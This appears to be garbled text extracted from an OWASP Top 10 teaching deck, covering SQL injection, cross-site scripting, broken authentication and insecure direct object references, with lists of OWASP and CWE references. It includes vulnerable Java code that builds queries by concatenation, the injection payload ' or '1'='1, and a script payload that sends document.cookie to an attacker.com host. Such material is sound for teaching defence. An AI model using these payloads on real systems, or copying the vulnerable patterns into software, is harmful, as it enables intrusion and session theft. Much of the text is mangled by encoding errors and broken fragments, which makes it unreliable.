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Å OWASP Risk Rating Methodology 

Å Article on Threat/Risk Modeling 

 
 

 

Å FAIR Information Risk Framework  

Å Microsoft Threat Modeling (STRIDE 
and DREAD) 
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 SQL
  

String query = "SELECT * FROM accounts WHERE 
  custID='" + request.getParameter("id") +"'";  

'id' 'or'1'= '1
 

 
  

  http://example.com/app/accountView?id=' or '1'='1  
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OWASP 

Å OWASP SQL Injection Prevention Cheat Sheet 

Å OWASP Injection Flaws Article 

Å ESAPI Encoder API 

Å ESAPI Input Validation API 

Å ASVS: Output Encoding/Escaping Requirements (V6) 

Å OWASP Testing Guide: Chapter on SQL Injection Testing 

Å OWASP Code Review Guide: Chapter on SQL Injection 

Å OWASP Code Review Guide: Command Injection 

 

Å CWE Entry 77 on Command Injection 

Å CWE Entry 89 on SQL Injection 
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HTML
  (String) page 

+= "<input name='creditcardϥ ǘȅǇŜҐϥ¢9·¢Ψ 
  value='" + request.getParameter("CC") + "'>"; 

'CC'   
'><script>document.location= 
  'http://www.attacker.com/cgi -bin/cookie.cgi? 
  foo='+document.cookieғκǎŎǊƛǇǘҔΩ 

ID Web
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Å OWASP XSS Prevention Cheat Sheet 

Å OWASP Cross-Site Scripting Article 

Å ESAPI Project Home Page  

Å ESAPI Encoder API 

Å ASVS: Output Encoding/Escaping Requirements (V6) 

Å ASVS: Input Validation Requirements (V5) 

Å Testing Guide: 1st 3 Chapters on Data Validation Testing 

Å OWASP Code Review Guide: Chapter on XSS Review 

 

CWE Entry 79 on Cross-Site Scripting 

Å w{ƴŀƪŜΩǎ XSS Attack Cheat Sheet 
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  http://example.com/sale/saleitems;jsessionid= 
  2P0OC2JDPXM0OQSNDLPSKHCJUN2JV?dest=Hawaii 
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 ASVS requirements areas for Authentication (V2) 
and Session Management (V3). 

Å OWASP Authentication Cheat Sheet 

Å ESAPI Authenticator API 

Å ESAPI User API 

Å OWASP Development Guide: Chapter on Authentication 

Å OWASP Testing Guide: Chapter on Authentication 

 

 

Å CWE Entry 287 on Improper Authentication 
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SQL
 

  String query = "SELECT * FROM accts WHERE account = ?"; 

  PreparedStatement pstmt = 
  connection.prepareStatementόǉǳŜǊȅ Σ Χ ύΤ 

  pstmt.setString( 1, request.getParameter("acct")); 

  ResultSet results = pstmt.executeQuery( ); 

 ŀŎŎǘΩ

 

   http://example.com/app/accountInfo?acct=notmyacct 
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OWASP 

Å OWASP Top 10-2007 on Insecure Dir Object References 

Å ESAPI Access Reference Map API 

Å ESAPI Access Control API (See isAuthorizedForData(), 

isAuthorizedForFile(), isAuthorizedForFunction() ) 

 

 ASVS requirements area for Access Control (V4). 

 

 

Å CWE Entry 639 on Insecure Direct Object References 

Å CWE Entry 22 on Path Traversal (which is an example of a Direct 
Object Reference attack) 
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